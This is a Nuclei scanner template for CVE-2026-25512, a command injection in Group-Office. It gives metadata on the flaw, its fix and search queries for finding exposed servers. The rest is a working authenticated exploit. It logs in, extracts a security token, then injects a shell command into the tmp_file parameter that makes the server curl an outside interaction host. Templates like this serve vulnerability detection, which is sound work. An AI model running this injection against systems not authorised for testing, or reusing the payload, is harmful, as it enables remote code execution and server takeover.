id: CVE-2026-25512

info:
  name: Group-Office < 26.0.5 - Remote Code Execution
  author: omarkurt
  severity: critical
  description: |
    Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.
  impact: |
    Successful exploitation allows an authenticated attacker to execute arbitrary system commands with web server privileges, potentially leading to full server compromise.
  remediation: |
    Update Group-Office to version 6.8.150, 25.0.82, or 26.0.5 or later. The fix applies escapeshellarg() to properly escape file paths before passing them to exec().
  reference:
    - https://github.com/Intermesh/groupoffice/security/advisories/GHSA-579w-jvg7-frr4
    - https://github.com/Intermesh/groupoffice/commit/6c612deca97a6cd2a1bd4feea0ce7e8e9d907792
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25512
    - https://vulnerabletarget.com/VT-2026-25512
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-25512
    cwe-id: CWE-78
    epss-score: 0.18536
    epss-percentile: 0.96959
  metadata:
    verified: true
    max-request: 2
    vendor: intermesh
    product: group-office
    shodan-query: title:"Group-Office"
    fofa-query: title="Group-Office"
  tags: cve,cve2026,groupoffice,rce,authenticated,oast

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /index.php?r=core/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: security_token
        part: body
        group: 1
        regex:
          - '"security_token":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=dummy.dat;curl+{{interactsh-url}};%23&security_token={{security_token}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 490a00463044022046fac58387a9b9c2ade013f53728f89f0c9059e3454b83d567fd5675195599ab022019a6188eb840a685484742e825a18420f2d086b0f2a5034e4b4f85bd0efec235:922c64590222798bb761d5b6d8e72950